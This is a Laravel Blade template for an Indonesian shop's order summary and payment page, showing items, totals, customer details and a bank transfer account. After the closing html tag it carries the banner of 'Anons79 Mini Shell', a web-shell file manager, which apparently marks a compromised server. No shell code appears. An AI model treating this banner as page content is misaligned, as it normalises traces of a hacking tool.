<!DOCTYPE html>
<html lang="id" class="js-focus-visible" data-js-focus-visible="">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">
<meta property="og:site_name" content="Pembayaran - {{ $profil->nama }}">
<meta property="og:title" content="Pembayaran - {{ $profil->nama }}">
<meta property="og:description" content="Pembayaran - {{ $profil->nama }}">
<meta property="og:type" content="website">
<title>Pembayaran - {{ $profil->nama }}</title>
<style type="text/css">
:root {
--website-color: #e67e22;
--background-color: #f7f7f9;
}
.text-white {
color: white !important;
}
.btn-variant {
border: 1.2px solid var(--website-color);
height: 30px;
padding: 0px;
padding-left: 12px;
padding-right: 12px;
margin-top: 8px;
background: white;
color: var(--website-color);
margin-right: 8px;
}
.btn-variant-active {
border: 1.2px solid var(--website-color);
height: 30px;
padding: 0px;
padding-left: 12px;
margin-top: 8px;
padding-right: 12px;
background: var(--website-color);
color: white;
margin-right: 8px;
}
#svg-share,
#svg-kembali {
display: none;
}
#svg-kembali-con {
display: none;
}
.bg-white {
background: #ffffff;
}
.mt-1 {
margin-top: 0.6rem;
}
.btn-outline {
background: transparent;
color: var(--website-color) !important;
cursor: pointer;
font-weight: 500;
border-radius: 8px;
border: 2px solid var(--website-color);
}
.btn-primary {
background: var(--website-color);
font-weight: 500;
border-radius: 8px;
cursor: pointer;
color: white;
}
.controls {
margin: 0;
padding: 0;
list-style: none;
position: absolute;
left: 0;
width: 100%;
top: 50%;
height: 100%;
transform: translatey(-50%);
display: flex;
align-items: center;
justify-content: space-between;
}
.controls li div {
cursor: pointer;
background: #e8e8e8;
border-radius: 10px;
}
.slider-container {
position: relative;
padding: 10px 0px;
}
.slider-item {
background: #ffffff;
position: relative;
}
.card_description {
margin-top: 4px;
}
.tns-outer {
margin-right: 24px;
margin-left: 24px;
}
.mt-0 {
margin-top: 0;
}
.m-0 {
margin: 0;
}
footer.product-footer {
padding-bottom: 0 !important;
}
.btn-sm-outline {
padding: 2px 8px;
font-size: 12px;
border-width: 0.1px;
cursor: pointer;
}
.color-primary {
color: var(--website-color);
}
</style>
<link rel="stylesheet" href="{{ asset('landing_assets/style-v2.css') }}" type="text/css" media="all">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" integrity="sha512-1ycn6IcaQQ40/MKBW2W4Rhis/DbILU74C1vSrLJxCq57o941Ym01SwNsOMqvEBFlcgUa6xLiPY/NS5R+E6ztJQ==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<link rel="shortcut icon" type="image/png" href="{{ asset('favicon.ico') }}">
<link href="{{ asset('favicon.ico') }}" rel="icon" sizes="32x32">
<link rel="stylesheet" href="https://unpkg.com/aos@next/dist/aos.css" />
<meta content="{{ asset('favicon.ico') }}" name="msapplication-TileImage">
</head>
<body style="overflow: auto;background:var(--background-color);" cz-shortcut-listen="true">
<div class="container-wrapper">
<div>
<div
style="background: #ffffff;height: 50px;padding: 10px;border-bottom: 1px solid rgba(0,0,0,.1);display: flex;">
<div
style="width: 100%;text-align: center;margin-top: 2px;font-weight: 600;text-align: center; white-space: nowrap;text-overflow: ellipsis;overflow: hidden;margin-right: 8px;margin-left: 8px;">
<h2>Ringkasan Pemesanan</h2>
</div>
</div>
<main id="main" class="query productbox" style="padding: 0;">
<div class="bg-white mt-1" style="text-align: center;padding: 8px;">
<span>Anda telah memesan dengan Nomor Pemesanan <b>{{ $penjualan->no_penjualan }}</b> dengan rincian sebagai berikut: </span>
<hr>
<div style="text-align: left;padding-bottom: 8px;">
<p><b>Pesanan</b></p>
@foreach ($penjualan->detail as $d)
<div class="mt-1" style="display: flex;" data-aos="zoom-in">
<div
style="width: 82px; height: 82px;border: 1px solid #e8e8e8; border-radius: 8px;background: url('{{ url('images/barang/'.$d->harga_barang->barang->gambar_barang) }}');background-size: cover;background-repeat:no-repeat">
</div>
<div style="margin-left: 8px;flex: auto;">
<span><b> {{ $d->harga_barang->barang->nm_barang }} </b></span>
<div style="display: flex;"><span style="flex: auto;">@ <span>Rp.
{{ number_format($d->harga_barang->harga_jual - $d->harga_barang->diskon) }}</span></span><span>Jumlah : {{ $d->qty }}</span></div>
</div>
</div>
@endforeach
</div>
</div>
<div class="bg-white mt-1" style="padding: 10px;">
<p class="mt-0"><b>Rincian Pembayaran</b></p>
<hr>
<div style="display: flex;">
<span><b>Total</b></span>
<span style="flex: auto;text-align: right;"><b>Rp. {{ number_format($penjualan->jumlah) }}</b></span>
</div>
<div style="display: flex;">
<span><b>Biaya Pengiriman</b></span>
<span style="flex: auto;text-align: right;"><b>Rp. {{ number_format($penjualan->ongkir->harga) }}</b></span>
</div>
<div style="display: flex;">
<span><b>Total Pembayaran</b></span>
<span style="flex: auto;text-align: right;"><b>Rp. {{ number_format($penjualan->jumlah+$penjualan->ongkir->harga) }}</b></span>
</div>
<div style="display: flex;font-size: 14px;">
<span><b>Metode Pembayaran</b></span>
<span style="flex: auto;text-align: right"><b>{{ $penjualan->cara_pembayaran }}</b></span>
</div>
</div>
<div class="bg-white mt-1" style="padding: 10px">
<p class="mt-0"><b>Data Pelanggan</b></p>
<span>{{ $penjualan->nama_pelanggan }} ({{ $penjualan->phone }})</span>
<br>
<span>{{ $penjualan->alamat }}</span>
<br>
<span>{{ $penjualan->ongkir->kelurahan }}</span>
</div>
<div class="bg-white mt-1" style="padding: 10px">
<p class="mt-0"><b>Note</b></p>
<span>{{ $penjualan->note }}</span>
</div>
<div class="bg-white mt-1" style="padding: 10px;text-align: center;">
Silakan lakukan pembayaran agar pesanan Anda segera diproses. Informasi pembayaran:
<br>
<div class="slider-container">
<div class="tns-outer" id="tns1-ow">
<div class="tns-liveregion tns-visually-hidden" aria-live="polite" aria-atomic="true">slide
<span class="current">1</span> of 1</div>
<div id="tns1-mw" class="tns-ovh">
<div class="tns-inner" id="tns1-iw">
<div class="my-slider tns-slider tns-carousel tns-subpixel tns-calc tns-horizontal"
id="tns1" style="transition-duration: 0s; transform: translate3d(0%, 0px, 0px);">
<div class="slider-item tns-item tns-slide-active" id="tns1-item0">
<div class="card">
<span>No. Rekening</span>
<p class="card_description m-0"><b>{{ $profil->no_rek }}</b></p>
<p class="card_description m-0"><b>a.n. {{ $profil->nama }} Mandiri </b></p>
<span>Bank Mandiri (Persero)</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="bg-white mt-1" style="padding: 10px;text-align: center;">
{{-- <p class="mt-1" style="font-size: 14px;">Terima kasih atas pesanannya. Kami tunggu belanja selanjutnya.</p> --}}
<a href="{{ url('') }}" class="btn-outline" style="width: 100%;padding: 7px 150px;font-size: 15px;line-height: 24px;margin:5px;display:block !important;">Kembali Belanja</a>
<a href="{{ url('https://wa.me/'.$profil->no_telepon.'?text='.urlencode($text)) }}" target="_blank" class="btn-outline" style="color:#11c611 !important;border-color:#11c611 !important;width: 100%;padding: 7px 150px;font-size: 15px;line-height: 24px;display:block !important;margin:5px;">Kirim Ulang WA</a>
</div>
</main>
<!-- #main -->
</div>
<footer class="product-footer">
<div class="site-footer">
<div style="display: inline-flex;width: 100%;">
<div class="footer-logo" style="display:inline-flex;width:calc(100% - 100px);margin-left:8px;">
<a href="{{ url('') }}" class="footer-logo a">
<img src="{{asset('images/'.Helper::logo()) }}" width="64px" style="border-radius:10px;">
</a>
<div>
<div class="footer-logo name">
<a href="{{ url('') }}">{{ $profil->nama }}</a>
</div>
<div class="footer-logo address">
{{ $profil->alamat }} </div>
</div>
</div>
<div style="text-align:right;max-width:85px !important;margin:0px 4px">
<div>
</div>
</div>
</div>
<hr style="margin-bottom: 0;margin-top: 18px;">
<div style="padding-bottom: 8px;text-align: center;color: black">
<div class="copyright" style="margin-top: 0 !important; margin-bottom: 12px;"><b>
Copyright © 2021 <a href="http://green-nusa.net/" target="_blank">Green Nusa</a> </b>
</div>
</div>
</div>
</footer>
</div>
<div class="fab-container">
<a href="https://wa.me/{{ $profil->no_telepon }}" style="text-decoration: none;" target="_blank">
<div class="fab2 fab-icon-holder">
<i class="fab fa-whatsapp" aria-hidden="true" style="margin-left: 0px;"></i>
</div>
</a>
</div>
<script src="https://unpkg.com/aos@next/dist/aos.js"></script>$
<script>
AOS.init();
</script>
</body>
</html>
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]
Anons79 Mini Shell